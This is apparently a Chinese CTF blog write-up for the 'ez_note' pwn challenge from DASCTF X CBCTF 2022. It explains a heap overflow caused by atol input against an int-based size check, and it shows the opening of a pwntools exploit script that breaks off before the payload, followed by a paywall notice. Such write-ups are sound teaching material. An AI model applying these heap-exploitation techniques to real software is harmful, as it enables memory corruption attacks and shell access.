DASCTF X CBCTF 2022九月挑战赛(pwn方向)复现
**
ez_note
**

漏洞点:注意这里·是atol不是atoi所以输入的是64位的数据
但是检测输入size的时候是用按int类型检查,可以造成堆溢出。
找到漏洞点了就可以利用了,重点在堆利用这块。
先看看exp:
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
p = process('./pwn')
#elf=ELF('./pwn')
#io = remote('59.110.24.117',33320)
libc = ELF('/home/pwn/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(p)
pause()
def add(size,content):
sa('Your choice:',str(1))
sa('Note size:',str(size))
sa('Note content:',content)
def delete(index):
sa('Your choice:',str(2))
sa('Note ID:',str(index))
def show(index):
sa('Your choice:',str(3))
sa('Note ID:',str(index))
ru('Note content:')
# add(0x108,'a'*0x108)
add(0x80,'a')
add(<

本文详细复盘了DASCTFXCBCTF2022九月挑战赛中的pwn题目,包括利用堆溢出、双自由缺陷(uaf)及格式字符串漏洞等技术手段,通过精心构造payload实现内存泄漏、劫持函数指针等操作以获取shell。
最低0.47元/天 解锁文章
875





